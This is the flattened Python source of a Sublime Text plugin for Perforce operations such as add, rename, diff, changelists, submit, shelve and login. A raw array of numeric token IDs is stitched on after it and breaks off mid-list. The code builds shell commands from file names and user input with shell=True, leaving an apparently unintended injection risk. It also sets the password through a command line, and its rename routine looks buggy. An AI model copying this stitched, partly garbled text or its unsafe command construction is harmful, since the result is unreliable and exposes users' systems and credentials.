if(self.view.file_name()): success, message = Checkout(self.view.file_name()) LogResults(success, message) else: WarnUser("View does not contain a file") # Add section def Add(in_folder, in_filename): # add the file return PerforceCommandOnFile("add", in_folder, in_filename); class PerforceAutoAdd(sublime_plugin.EventListener): preSaveIsFileInDepot = 0 def on_pre_save(self, view): # file already exists, no need to add if view.file_name() and os.path.isfile(view.file_name()): return global global_folder global_folder, filename = os.path.split(view.file_name()) perforce_settings = sublime.load_settings('Perforce.sublime-settings') self.preSaveIsFileInDepot = 0 # check if this part of the plugin is enabled if(not perforce_settings.get('perforce_auto_add')): WarnUser("Auto Add disabled") return folder_name, filename = os.path.split(view.file_name()) self.preSaveIsFileInDepot = IsFileInDepot(folder_name, filename) def on_post_save(self, view): if(self.preSaveIsFileInDepot == -1): folder_name, filename = os.path.split(view.file_name()) success, message = Add(folder_name, filename) LogResults(success, message) class PerforceAddCommand(sublime_plugin.TextCommand): def run(self, edit): if(self.view.file_name()): folder_name, filename = os.path.split(self.view.file_name()) if(IsFileInDepot(folder_name, filename)): success, message = Add(folder_name, filename) else: success = 0 message = "File is not under the client root." LogResults(success, message) else: WarnUser("View does not contain a file") # Rename section def Rename(in_filename, in_newname): command = ConstructCommand('p4 integrate -d -t -Di -f "' + in_filename + '" "' + in_newname + '"') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): return 0, err.strip() command = ConstructCommand('p4 delete "' + in_filename + '" "' + in_newname + '"') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(not err): return 1, result.strip() else: return 0, err.strip() class PerforceRenameCommand(sublime_plugin.WindowCommand): def run(self): # Get the description self.window.show_input_panel('New File Name', self.window.active_view().file_name(), self.on_done, self.on_change, self.on_cancel) def on_done(self, input): success, message = Rename(self.window.active_view().file_name(), input) if(success): self.window.run_command('close') self.window.open_file(input) LogResults(success, message) def on_change(self, input): pass def on_cancel(self): pass # Delete section def Delete(in_folder, in_filename): success, message = PerforceCommandOnFile("delete", in_folder, in_filename) if(success): # test if the file is deleted if(os.path.isfile(os.path.join(in_folder, in_filename))): success = 0 return success, message class PerforceDeleteCommand(sublime_plugin.WindowCommand): def run(self): if(self.window.active_view().file_name()): folder_name, filename = os.path.split(self.window.active_view().file_name()) if(IsFileInDepot(folder_name, filename)): success, message = Delete(folder_name, filename) if(success): # the file was properly deleted on perforce, ask Sublime Text to close the view self.window.run_command('close'); else: success = 0 message = "File is not under the client root." LogResults(success, message) else: WarnUser("View does not contain a file") # Revert section def Revert(in_folder, in_filename): # revert the file return PerforceCommandOnFile("revert", in_folder, in_filename); class PerforceRevertCommand(sublime_plugin.TextCommand): def run_(self, args): # revert cannot be called when an Edit object exists, manually handle the run routine if(self.view.file_name()): folder_name, filename = os.path.split(self.view.file_name()) if(IsFileInDepot(folder_name, filename)): success, message = Revert(folder_name, filename) if(success): # the file was properly reverted, ask Sublime Text to refresh the view self.view.run_command('revert'); else: success = 0 message = "File is not under the client root." LogResults(success, message) else: WarnUser("View does not contain a file") # Diff section def Diff(in_folder, in_filename): # diff the file return PerforceCommandOnFile("diff", in_folder, in_filename); class PerforceDiffCommand(sublime_plugin.TextCommand): def run(self, edit): if(self.view.file_name()): folder_name, filename = os.path.split(self.view.file_name()) if(IsFileInDepot(folder_name, filename)): success, message = Diff(folder_name, filename) else: success = 0 message = "File is not under the client root." LogResults(success, message) else: WarnUser("View does not contain a file") # Graphical Diff With Depot section class GraphicalDiffThread(threading.Thread): def __init__(self, in_folder, in_filename, in_endlineseparator, in_command): self.folder = in_folder self.filename = in_filename self.endlineseparator = in_endlineseparator self.command = in_command threading.Thread.__init__(self) def run(self): success, content = PerforceCommandOnFile("print", self.folder, self.filename) if(not success): return 0, content # Create a temporary file to hold the depot version depotFileName = "depot"+self.filename tmp_file = open(os.path.join(tempfile.gettempdir(), depotFileName), 'w') # Remove the first two lines of content linebyline = content.splitlines(); content=self.endlineseparator.join(linebyline[1:]); try: tmp_file.write(content) finally: tmp_file.close() # Launch P4Diff with both files and the same arguments P4Win passes it diffCommand = self.command diffCommand = diffCommand.replace('%depotfile_path', tmp_file.name) diffCommand = diffCommand.replace('%depotfile_name', depotFileName) diffCommand = diffCommand.replace('%file_path', os.path.join(self.folder, self.filename)) diffCommand = diffCommand.replace('%file_name', self.filename) command = ConstructCommand(diffCommand) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() # Clean up os.unlink(tmp_file.name); def GraphicalDiffWithDepot(self, in_folder, in_filename): perforce_settings = sublime.load_settings('Perforce.sublime-settings') diffcommand = perforce_settings.get('perforce_selectedgraphicaldiffapp_command') if not diffcommand: diffcommand = perforce_settings.get('perforce_default_graphical_diff_command') GraphicalDiffThread(in_folder, in_filename, perforce_settings.get('perforce_end_line_separator'), diffcommand).start() return 1, "Launching thread for Graphical Diff" class PerforceGraphicalDiffWithDepotCommand(sublime_plugin.TextCommand): def run(self, edit): if(self.view.file_name()): folder_name, filename = os.path.split(self.view.file_name()) if(IsFileInDepot(folder_name, filename)): success, message = GraphicalDiffWithDepot(self, folder_name, filename) else: success = 0 message = "File is not under the client root." LogResults(success, message) else: WarnUser("View does not contain a file") class PerforceSelectGraphicalDiffApplicationCommand(sublime_plugin.WindowCommand): def run(self): diffapps = [] if os.path.exists(perforceplugin_dir + os.sep + 'graphicaldiffapplications.json'): f = open(perforceplugin_dir + os.sep + 'graphicaldiffapplications.json') applications = json.load(f) f.close() for entry in applications.get('applications'): formattedentry = [] formattedentry.append(entry.get('name')) formattedentry.append(entry.get('exename')) diffapps.append(formattedentry) self.window.show_quick_panel(diffapps, self.on_done) def on_done(self, picked): if picked == -1: return f = open(perforceplugin_dir + os.sep + 'graphicaldiffapplications.json') applications = json.load(f) entry = applications.get('applications')[picked] f.close() sublime.status_message(__name__ + ': Please make sure that ' + entry['exename'] + " is reachable - you might need to restart Sublime Text 2.") settings = sublime.load_settings('Perforce.sublime-settings') settings.set('perforce_selectedgraphicaldiffapp', entry['name']) settings.set('perforce_selectedgraphicaldiffapp_command', entry['diffcommand']) sublime.save_settings('Perforce.sublime-settings') # List Checked Out Files section class ListCheckedOutFilesThread(threading.Thread): def __init__(self, window): self.window = window threading.Thread.__init__(self) def ConvertFileNameToFileOnDisk(self, in_filename): clientroot = GetClientRoot(os.path.dirname(in_filename)) if(clientroot == -1): return 0 if(clientroot == "null"): return in_filename filename = clientroot + os.sep + in_filename.replace('\\', os.sep).replace('/', os.sep) return filename def MakeFileListFromChangelist(self, in_changelistline): files_list = [] currentuser = GetUserFromClientspec() # Launch p4 opened to retrieve all files from changelist command = ConstructCommand('p4 opened -c ' + in_changelistline[1] + ' -u ' + currentuser) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(not err): lines = result.splitlines() for line in lines: # remove the change # poundindex = line.rfind('#') cleanedfile = line[0:poundindex] # just keep the filename cleanedfile = '/'.join(cleanedfile.split('/')[3:]) file_entry = [cleanedfile[cleanedfile.rfind('/')+1:]] file_entry.append("Changelist: " + in_changelistline[1]) file_entry.append(' '.join(in_changelistline[7:])); localfile = self.ConvertFileNameToFileOnDisk(cleanedfile) if(localfile != 0): file_entry.append(localfile) files_list.append(file_entry) return files_list def MakeCheckedOutFileList(self): files_list = self.MakeFileListFromChangelist(['','default','','','','','','Default Changelist']); currentuser = GetUserFromClientspec() if(currentuser == -1): return files_list # Launch p4 changes to retrieve all the pending changelists command = ConstructCommand('p4 changes -s pending -u ' + currentuser); p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(not err): changelists = result.splitlines() # for each line, extract the change, and run p4 opened on it to list all the files for changelistline in changelists: changelistlinesplit = changelistline.split(' ') files_list.extend(self.MakeFileListFromChangelist(changelistlinesplit)) return files_list def run(self): self.files_list = self.MakeCheckedOutFileList() def show_quick_panel(): if not self.files_list: sublime.error_message(__name__ + ': There are no checked out files to list.') return self.window.show_quick_panel(self.files_list, self.on_done) sublime.set_timeout(show_quick_panel, 10) def on_done(self, picked): if picked == -1: return file_name = self.files_list[picked][3] def open_file(): self.window.open_file(file_name) sublime.set_timeout(open_file, 10) class PerforceListCheckedOutFilesCommand(sublime_plugin.WindowCommand): def run(self): ListCheckedOutFilesThread(self.window).start() # Create Changelist section def CreateChangelist(description): # First, create an empty changelist, we will then get the cl number and set the description command = ConstructCommand('p4 change -o') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): return 0, err # Find the description field and modify it desclabel = 'Description:' + os.linesep descindex = result.find(desclabel) + len(desclabel) descend = result.find(os.linesep*2, descindex) result = result[0:descindex] + '\t' + description + result[descend:] # Remove all files from the query, we want them to stay in Default filesindex = result.rfind("Files:") # The Files: section we want to get rid of is only present if there's files in the default changelist if(filesindex > 640): result = result[0:filesindex]; temp_changelist_description_file = open(os.path.join(tempfile.gettempdir(), "tempchangelist.txt"), 'w') try: temp_changelist_description_file.write(result) finally: temp_changelist_description_file.close() command = ConstructCommand('p4 change -i < ' + temp_changelist_description_file.name) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() # Clean up os.unlink(temp_changelist_description_file.name) if(err): return 0, err return 1, result class PerforceCreateChangelistCommand(sublime_plugin.WindowCommand): def run(self): # Get the description self.window.show_input_panel('Changelist Description', '', self.on_done, self.on_change, self.on_cancel) def on_done(self, input): success, message = CreateChangelist(input) LogResults(success, message) def on_change(self, input): pass def on_cancel(self): pass # Move Current File to Changelist def MoveFileToChangelist(in_filename, in_changelist): folder_name, filename = os.path.split(in_filename) command = ConstructCommand('p4 reopen -c ' + in_changelist + ' "' + filename + '"') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): return 0, err return 1, result class ListChangelistsAndMoveFileThread(threading.Thread): def __init__(self, window): self.window = window self.view = window.active_view() threading.Thread.__init__(self) def MakeChangelistsList(self): success, rawchangelists = GetPendingChangelists(); resultchangelists = ['New', 'Default']; if(success): changelists = rawchangelists.splitlines() # for each line, extract the change for changelistline in changelists: changelistlinesplit = changelistline.split(' ') # Insert at two because we receive the changelist in the opposite order and want to keep new and default on top resultchangelists.insert(2, "Changelist " + changelistlinesplit[1] + " - " + ' '.join(changelistlinesplit[7:])) return resultchangelists def run(self): self.changelists_list = self.MakeChangelistsList() def show_quick_panel(): if not self.changelists_list: sublime.error_message(__name__ + ': There are no changelists to list.') return self.window.show_quick_panel(self.changelists_list, self.on_done) sublime.set_timeout(show_quick_panel, 10) def on_done(self, picked): if picked == -1: return changelistlist = self.changelists_list[picked].split(' ') def move_file(): changelist = 'Default' if(len(changelistlist) > 1): # Numbered changelist changelist = changelistlist[1] else: changelist = changelistlist[0] if(changelist == 'New'): # Special Case self.window.show_input_panel('Changelist Description', '', self.on_description_done, self.on_description_change, self.on_description_cancel) else: success, message = MoveFileToChangelist(self.view.file_name(), changelist.lower()) LogResults(success, message); sublime.set_timeout(move_file, 10) def on_description_done(self, input): success, message = CreateChangelist(input) if(success == 1): # Extract the changelist name from the message changelist = message.split(' ')[1] # Move the file success, message = MoveFileToChangelist(self.view.file_name(), changelist) LogResults(success, message) def on_description_change(self, input): pass def on_description_cancel(self): pass class PerforceMoveCurrentFileToChangelistCommand(sublime_plugin.WindowCommand): def run(self): # first, test if the file is under the client root folder_name, filename = os.path.split(self.window.active_view().file_name()) isInDepot = IsFileInDepot(folder_name, filename) if(isInDepot != 1): WarnUser("File is not under the client root.") return 0 ListChangelistsAndMoveFileThread(self.window).start() # Add Line to Changelist Description class AddLineToChangelistDescriptionThread(threading.Thread): def __init__(self, window): self.window = window self.view = window.active_view() threading.Thread.__init__(self) def MakeChangelistsList(self): success, rawchangelists = GetPendingChangelists(); resultchangelists = []; if(success): changelists = rawchangelists.splitlines() # for each line, extract the change, and run p4 opened on it to list all the files for changelistline in changelists: changelistlinesplit = changelistline.split(' ') # Insert at zero because we receive the changelist in the opposite order # Might be more efficient to sort... changelist_entry = ["Changelist " + changelistlinesplit[1]] changelist_entry.append(' '.join(changelistlinesplit[7:])); resultchangelists.insert(0, changelist_entry) return resultchangelists def run(self): self.changelists_list = self.MakeChangelistsList() def show_quick_panel(): if not self.changelists_list: sublime.error_message(__name__ + ': There are no changelists to list.') return self.window.show_quick_panel(self.changelists_list, self.on_done) sublime.set_timeout(show_quick_panel, 10) def on_done(self, picked): if picked == -1: return changelistlist = self.changelists_list[picked][0].split(' ') def get_description_line(): self.changelist = changelistlist[1] self.window.show_input_panel('Changelist Description', '', self.on_description_done, self.on_description_change, self.on_description_cancel) sublime.set_timeout(get_description_line, 10) def on_description_done(self, input): success, message = AppendToChangelistDescription(self.changelist, input) LogResults(success, message) def on_description_change(self, input): pass def on_description_cancel(self): pass class PerforceAddLineToChangelistDescriptionCommand(sublime_plugin.WindowCommand): def run(self): AddLineToChangelistDescriptionThread(self.window).start() # Submit section class SubmitThread(threading.Thread): def __init__(self, window): self.window = window self.view = window.active_view() threading.Thread.__init__(self) def MakeChangelistsList(self): success, rawchangelists = GetPendingChangelists(); resultchangelists = ['Default']; currentuser = GetUserFromClientspec(); command = ConstructCommand('p4 opened -c default -u ' + currentuser) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if err: resultchangelists.pop() if success: changelists = rawchangelists.splitlines() # for each line, extract the change for changelistline in changelists: changelistlinesplit = changelistline.split(' ') # Insert at two because we receive the changelist in the opposite order and want to keep default on top resultchangelists.insert(1, "Changelist " + changelistlinesplit[1] + " - " + ' '.join(changelistlinesplit[7:])) return resultchangelists def run(self): self.changelists_list = self.MakeChangelistsList() def show_quick_panel(): if not self.changelists_list: sublime.error_message(__name__ + ': There are no changelists to list.') return self.window.show_quick_panel(self.changelists_list, self.on_done) sublime.set_timeout(show_quick_panel, 10) def on_done(self, picked): if picked == -1: return changelist = self.changelists_list[picked] changelistsections = changelist.split(' ') command = '' # Check in the selected changelist if changelistsections[0] != 'Default': command = ConstructCommand('p4 submit -c ' + changelistsections[1]); else: command = ConstructCommand('p4 submit') p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() def on_description_change(self, input): pass def on_description_cancel(self): pass class PerforceSubmitCommand(sublime_plugin.WindowCommand): def run(self): SubmitThread(self.window).start() class PerforceLogoutCommand(sublime_plugin.WindowCommand): def run(self): try: command = ConstructCommand("p4 set P4PASSWD=") p = subprocess.Popen(command, stdin=subprocess.PIPE,stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) p.communicate() except ValueError: pass class PerforceLoginCommand(sublime_plugin.WindowCommand): def run(self): self.window.show_input_panel("Enter Perforce Password", "", self.on_done, None, None) def on_done(self, password): try: command = ConstructCommand("p4 logout") p = subprocess.Popen(command, stdin=subprocess.PIPE,stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) p.communicate() #unset var command = ConstructCommand("p4 set P4PASSWD=" + password) p = subprocess.Popen(command, stdin=subprocess.PIPE,stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) p.communicate() except ValueError: pass class PerforceUnshelveClCommand(sublime_plugin.WindowCommand): def run(self): try: ShelveClCommand(self.window, False).start() except: WarnUser("Unknown Error, does the included P4 Version support Shelve?") return -1 class PerforceShelveClCommand(sublime_plugin.WindowCommand): def run(self): try: ShelveClCommand(self.window, True).start() except: WarnUser("Unknown Error, does the included P4 Version support Shelve?") return -1 class ShelveClCommand(threading.Thread): def __init__(self, window, shelve=True): self.shelve = shelve self.window = window threading.Thread.__init__(self) def run(self): self.changelists_list = self.MakeChangelistsList() def show_quick_panel(): if not self.changelists_list: sublime.error_message(__name__ + ': There are no changelists to list.') return self.window.show_quick_panel(self.changelists_list, self.on_done) sublime.set_timeout(show_quick_panel, 10) def on_done(self, picked): if picked == -1: return changelistlist = self.changelists_list[picked].split(' ') changelist = 'Default' if(len(changelistlist) > 1): # Numbered changelist changelist = changelistlist[1] else: changelist = changelistlist[0] if self.shelve: cmdString = "shelve -c" + changelist else: cmdString = "unshelve -s" + changelist + " -f" command = ConstructCommand("p4 " + cmdString) p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=global_folder, shell=True) result, err = p.communicate() if(err): WarnUser("usererr " + err.strip()) return -1 def MakeChangelistsList(self): success, rawchangelists = GetPendingChangelists(); resultchangelists = [] if(success): changelists = rawchangelists.splitlines() # for each line, extract the change for changelistline in changelists: changelistlinesplit = changelistline.split(' ') resultchangelists.insert(0, "Changelist " + changelistlinesplit[1] + " - " + ' '.join(changelistlinesplit[7:])) return resultchangelists
[ 1, 396, 16849, 841, 491, 529, 5813, 29958, 313, 29966, 26862, 6227, 29958, 847, 7821, 29889, 261, 293, 28402, 295, 29889, 510, 29897, 13, 13, 29937, 7740, 3106, 8260, 526, 9904, 297, 13109, 29889, 1491, 28046, 29899, 26381, 13, 13, 29937, 1874, 295, 468, 13, 29937, 529, 5813, 29958, 448, 937, 5314, 310, 788, 847, 24808, 13, 29937, 529, 5813, 29958, 669, 529, 5813, 29958, 448, 11415, 310, 6375, 24765, 267, 297, 13154, 3135, 4138, 13, 29937, 529, 5813, 29958, 669, 529, 5813, 29958, 448, 937, 5314, 310, 29538, 13, 29937, 529, 5813, 29958, 448, 937, 5314, 310, 2923, 13, 29937, 529, 5813, 29958, 448, 937, 5314, 310, 12367, 936, 360, 2593, 515, 10034, 327, 13, 29937, 529, 5813, 29958, 448, 937, 1209, 373, 1874, 295, 391, 11525, 2785, 13, 29937, 529, 5813, 29958, 448, 937, 5314, 363, 19508, 847, 5217, 669, 2715, 373, 29918, 1545, 2164, 408, 263, 4195, 304, 24808, 263, 934, 13, 29937, 529, 5813, 29958, 448, 29871, 6494, 2329, 363, 2253, 2304, 310, 3132, 664, 22854, 13, 29937, 529, 5813, 29958, 448, 2253, 11415, 310, 13154, 412, 2395, 13, 29937, 529, 5813, 29958, 448, 3443, 1891, 3983, 936, 2923, 13, 29937, 529, 5813, 29958, 669, 263, 7099, 1025, 448, 871, 1051, 28235, 1874, 295, 2879, 23329, 304, 278, 1857, 1404, 13, 29937, 529, 5813, 29958, 448, 2752, 10891, 29918, 10185, 746, 5432, 282, 29946, 373, 4326, 6570, 29990, 13, 29937, 529, 5813, 29958, 448, 937, 5314, 310, 9752, 13, 29937, 529, 5813, 29958, 448, 26965, 11415, 310, 349, 29946, 25903, 2066, 13, 29937, 529, 5813, 29958, 669, 529, 5813, 29958, 448, 3244, 292, 310, 278, 2923, 3414, 322, 11764, 363, 278, 3983, 936, 2923, 2280, 13, 29937, 529, 5813, 29958, 448, 25601, 278, 13331, 304, 3323, 2415, 278, 2322, 1874, 295, 391, 13, 29937, 529, 5813, 29958, 448, 25601, 263, 982, 304, 1209, 282, 29946, 6272, 4128, 304, 278, 1899, 5214, 740, 13, 13, 5215, 1014, 28046, 13, 5215, 1014, 28046, 29918, 8582, 13, 13, 5215, 2897, 13, 5215, 1002, 13, 5215, 1014, 5014, 13, 5215, 5694, 1445, 13, 5215, 3244, 292, 13, 5215, 4390, 13, 5215, 10876, 13, 2202, 29901, 13, 1678, 515, 5462, 434, 1053, 5462, 434, 29892, 2812, 2349, 13, 19499, 16032, 2392, 29901, 13, 1678, 515, 9521, 1053, 5462, 434, 29892, 2812, 2349, 29871, 396, 3017, 29871, 29941, 29889, 29916, 13, 29937, 1858, 3851, 19215, 526, 5982, 297, 525, 546, 10118, 29889, 1491, 28046, 29899, 11027, 29915, 1207, 263, 3509, 297, 278, 4911, 4138, 304, 3013, 3620, 13, 13, 29937, 5534, 2286, 1304, 746, 5432, 282, 29946, 448, 372, 14422, 278, 2224, 310, 278, 934, 297, 278, 1857, 1776, 29892, 1304, 304, 8161, 411, 349, 29946, 25903, 304, 671, 13, 29937, 10940, 263, 1776, 338, 4629, 29892, 278, 2286, 4947, 4784, 13, 10945, 29918, 12083, 353, 6629, 13, 6519, 29918, 13506, 353, 6213, 13, 13, 1990, 2431, 10118, 29925, 29946, 25903, 4598, 29898, 1491, 28046, 29918, 8582, 29889, 12825, 1125, 259, 13, 1678, 822, 373, 29918, 11236, 630, 29898, 1311, 29892, 1776, 1125, 13, 4706, 565, 1776, 29889, 1445, 29918, 978, 7295, 13, 9651, 5534, 5534, 29918, 12083, 13, 9651, 5534, 29918, 12083, 29892, 10422, 353, 2897, 29889, 2084, 29889, 5451, 29898, 1493, 29889, 1445, 29918, 978, 3101, 13, 13, 4706, 565, 1014, 28046, 338, 451, 6213, 29901, 13, 9651, 5534, 1899, 29918, 13506, 13, 9651, 565, 1899, 29918, 13506, 338, 6213, 29901, 13, 18884, 1899, 29918, 13506, 353, 679, 6255, 23095, 580, 13, 13, 29937, 11080, 3860, 472, 20234, 304, 3787, 278, 2224, 310, 278, 7079, 856, 5181, 304, 1722, 2066, 6198, 304, 278, 7079, 13, 546, 10118, 8582, 29918, 3972, 353, 2897, 29889, 657, 29883, 29893, 700, 580, 13, 13, 1753, 679, 6255, 23095, 7295, 13, 1678, 639, 10118, 29918, 11027, 353, 1014, 28046, 29889, 1359, 29918, 11027, 877, 5894, 10118, 29889, 1491, 28046, 29899, 11027, 1495, 13, 1678, 282, 29946, 21745, 353, 639, 10118, 29918, 11027, 29889, 657, 877, 546, 10118, 29918, 29886, 29946, 6272, 1495, 13, 1678, 565, 29898, 29886, 29946, 21745, 322, 282, 29946, 21745, 2804, 6629, 1125, 13, 4706, 736, 525, 4993, 525, 718, 282, 29946, 21745, 718, 525, 2607, 525, 13, 1678, 25342, 29898, 1491, 28046, 29889, 12120, 580, 1275, 376, 359, 29916, 29908, 1125, 13, 4706, 736, 525, 4993, 3695, 6294, 13067, 29918, 10185, 2607, 525, 13, 1678, 396, 830, 1765, 1735, 2745, 3244, 292, 338, 4343, 13, 1678, 396, 1899, 29918, 13506, 353, 679, 5894, 10118, 3991, 4591, 22173, 29898, 6519, 29897, 13, 1678, 736, 6629, 13, 13, 29937, 22310, 537, 3168, 13, 1753, 1281, 4984, 6255, 29898, 262, 29918, 6519, 1125, 13, 1678, 736, 1899, 29918, 13506, 718, 297, 29918, 6519, 565, 1899, 29918, 13506, 338, 451, 6213, 1683, 297, 29918, 6519, 29936, 13, 13, 1753, 679, 5894, 10118, 3991, 4591, 22173, 29898, 6519, 1125, 13, 1678, 639, 10118, 29918, 11027, 353, 1014, 28046, 29889, 1359, 29918, 11027, 877, 5894, 10118, 29889, 1491, 28046, 29899, 11027, 1495, 13, 13, 1678, 396, 1423, 304, 1074, 565, 278, 1014, 28046, 5821, 2063, 3160, 278, 2183, 282, 29946, 2295, 13, 1678, 396, 565, 372, 947, 29892, 769, 788, 372, 304, 278, 1899, 297, 278, 883, 376, 1707, 29922, 1767, 1899, 29908, 13, 1678, 396, 577, 393, 896, 679, 15478, 964, 278, 5177, 278, 1899, 6057, 297, 13, 1678, 822, 788, 29925, 29946, 9037, 29898, 6519, 29892, 722, 1125, 13, 4706, 282, 29946, 1707, 353, 639, 10118, 29918, 11027, 29889, 657, 29898, 1707, 29897, 13, 4706, 565, 282, 29946, 1707, 29901, 13, 9651, 565, 1014, 28046, 29889, 12120, 580, 1275, 376, 10499, 1115, 13, 18884, 736, 1899, 718, 376, 10490, 376, 718, 722, 718, 376, 543, 718, 282, 29946, 1707, 718, 376, 2607, 376, 13, 9651, 736, 1899, 718, 722, 718, 376, 543, 718, 282, 29946, 1707, 718, 376, 376, 13, 4706, 736, 1899, 13, 1678, 1899, 353, 788, 29925, 29946, 9037, 29898, 6519, 29892, 376, 29925, 29946, 15082, 1159, 13, 1678, 1899, 353, 788, 29925, 29946, 9037, 29898, 6519, 29892, 376, 29925, 29946, 27205, 3919, 1159, 13, 1678, 1899, 353, 788, 29925, 29946, 9037, 29898, 6519, 29892, 376, 29925, 29946, 11889, 1159, 13, 1678, 1899, 353, 788, 29925, 29946, 9037, 29898, 6519, 29892, 376, 29925, 29946, 25711, 24668, 1159, 13, 1678, 736, 1899, 13, 13, 1753, 3617, 2659, 4591, 29907, 492, 1237, 3135, 7295, 13, 1678, 1899, 353, 1281, 4984, 6255, 877, 29886, 29946, 5235, 1495, 13, 1678, 282, 353, 1014, 5014, 29889, 29925, 3150, 29898, 6519, 29892, 27591, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 380, 20405, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 274, 9970, 29922, 10945, 29918, 12083, 29892, 6473, 29922, 5574, 29897, 13, 1678, 1121, 29892, 4589, 353, 282, 29889, 27820, 403, 580, 13, 13, 1678, 565, 29898, 3127, 1125, 13, 4706, 399, 2753, 2659, 703, 1792, 3127, 376, 718, 4589, 29889, 17010, 3101, 13, 4706, 736, 448, 29896, 29871, 13, 13, 1678, 396, 26694, 278, 1196, 6943, 376, 2659, 1024, 29901, 376, 322, 6597, 278, 1494, 1024, 13, 1678, 1369, 2248, 353, 1121, 29889, 2886, 703, 2659, 1024, 29901, 16521, 13, 1678, 565, 29898, 2962, 2248, 1275, 448, 29896, 1125, 13, 4706, 399, 2753, 2659, 703, 29965, 13996, 6021, 1962, 515, 525, 29886, 29946, 5235, 4286, 1159, 13, 4706, 736, 448, 29896, 13, 268, 13, 1678, 1369, 2248, 4619, 29871, 29896, 29896, 396, 6564, 1156, 525, 2659, 1024, 29901, 525, 13, 13, 1678, 1095, 2248, 353, 1121, 29889, 2886, 14182, 29876, 613, 1369, 2248, 29897, 29871, 13, 1678, 565, 29898, 355, 2248, 1275, 448, 29896, 1125, 13, 4706, 399, 2753, 2659, 703, 29965, 13996, 6021, 1962, 515, 525, 29886, 29946, 5235, 4286, 1159, 13, 4706, 736, 448, 29896, 13, 13, 1678, 736, 1121, 29961, 2962, 2248, 29901, 355, 2248, 1822, 17010, 890, 13, 13, 1753, 3617, 4032, 10303, 29898, 262, 29918, 3972, 1125, 13, 1678, 396, 1423, 565, 278, 934, 338, 297, 278, 1401, 327, 13, 1678, 1899, 353, 1281, 4984, 6255, 877, 29886, 29946, 5235, 1495, 13, 1678, 282, 353, 1014, 5014, 29889, 29925, 3150, 29898, 6519, 29892, 27591, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 380, 20405, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 274, 9970, 29922, 10945, 29918, 12083, 29892, 6473, 29922, 5574, 29897, 13, 1678, 1121, 29892, 4589, 353, 282, 29889, 27820, 403, 580, 13, 13, 1678, 565, 29898, 3127, 1125, 13, 4706, 399, 2753, 2659, 29898, 3127, 29889, 17010, 3101, 13, 4706, 736, 448, 29896, 29871, 13, 268, 13, 1678, 396, 26694, 278, 1196, 6943, 376, 4032, 3876, 29901, 376, 322, 6597, 278, 1494, 2224, 13, 1678, 1369, 2248, 353, 1121, 29889, 2886, 703, 4032, 3876, 29901, 16521, 13, 1678, 565, 29898, 2962, 2248, 1275, 448, 29896, 1125, 13, 4706, 396, 6041, 278, 13154, 3135, 338, 451, 8833, 29871, 13, 4706, 1014, 28046, 29889, 2704, 29918, 4906, 703, 5894, 10118, 1858, 3851, 29901, 282, 29946, 5235, 3282, 29915, 29873, 11421, 263, 2854, 13154, 3135, 29892, 6826, 292, 282, 29946, 3132, 1496, 13, 4706, 1899, 353, 1281, 4984, 6255, 877, 29886, 29946, 3132, 1495, 13, 4706, 282, 353, 1014, 5014, 29889, 29925, 3150, 29898, 6519, 29892, 27591, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 380, 20405, 29922, 1491, 5014, 29889, 2227, 4162, 29892, 274, 9970, 29922, 10945, 29918, 12083, 29892, 6473, 29922, 5574, 29897, 13, 4706, 1121, 29892, 4589, 353, 282, 29889, 27820, 403, 580, 13, 4706, 736, 448, 29896, 13, 632, 13, 1678, 1369, 2248, 4619, 29871, 29896, 29941, 396, 6564, 1156, 525, 4032, 3876, 29901, 525, 13, 13, 1678, 1095, 2248, 353, 1121, 29889, 2886, 14182, 29876, 613, 1369, 2248, 29897, 29871, 13, 1678, 565, 29898, 355, 2248, 1275, 448, 29896, 1125, 13, 4706, 399, 2753, 2659, 703, 29965, 13996, 6021, 1962, 515, 525, 29886, 29946, 5235, 4286, 1159, 13, 4706, 736, 448, 29896, 13, 13, 1678, 396, 3588, 599, 10898, 304, 376, 359, 29889, 19570, 29908, 24765, 267, 29871, 13, 1678, 11543, 4645, 4632, 353, 1121, 29961, 2962, 2248, 29901, 355, 2248, 1822, 17010, 2141, 6506, 877, 1966, 742, 2897, 29889, 19570, 467, 6506, 11219, 742, 2897, 29889, 19570, 29897, 13, 13, 1678, 736, 11543, 4645, 4632, 13, 13, 13, 1753, 1317, 12924, 29177, 4032, 10303, 29898, 262, 29918, 12083, 1125, 13, 1678, 396, 1423, 565, 278, 934, 338, 297, 278, 1401, 327, 13, 1678, 3132, 4632, 353, 3617, 4032, 10303, 29898, 262, 29918, 12083, 29897, 13, 1678, 565, 29898, 4645, 4632, 1275, 448, 29896, 1125, 13, 4706, 736, 29871, 29900, 13, 13, 1678, 3132, 4632, 353, 3132, 4632, 29889, 13609, 580, 13, 1678, 565, 29898, 4645, 4632, 1275, 376, 4304, 29908, 1125, 13, 4706, 736, 29871, 29896, 13, 13, 1678, 396, 3588, 599, 10898, 304, 376, 359, 29889, 